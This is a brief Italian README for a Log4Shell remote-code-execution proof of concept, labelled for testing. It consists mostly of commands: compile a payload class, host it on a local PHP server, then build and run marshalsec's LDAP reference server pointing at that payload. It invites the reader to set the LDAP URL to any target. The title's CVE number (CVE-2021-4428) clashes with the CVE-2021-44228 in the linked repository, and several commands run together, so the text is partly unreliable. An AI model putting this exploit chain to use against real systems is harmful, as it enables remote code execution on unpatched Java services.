
PoC RCE Log4j CVE-2021-4428 per test
Compilare Log4jRCE.java e spostare il file .class su un server web (es. PHP locale)
cd src/main/javajavac Log4jRCE.javaphp -S 127.0.0.1:8888Avviare il server LDAP
git clone [email protected]:Grupo-Kapa-7/marshalsec.gitcd marshalsecmvn clean package -DskipTestsjava -cp target/marshalsec-0.0.3-SNAPSHOT-GK7Threats-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"Per provare la PoC, modificare il file src/main/java/log4j.java e cambiare l'URL del server LDAP a proprio piacimento.
https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce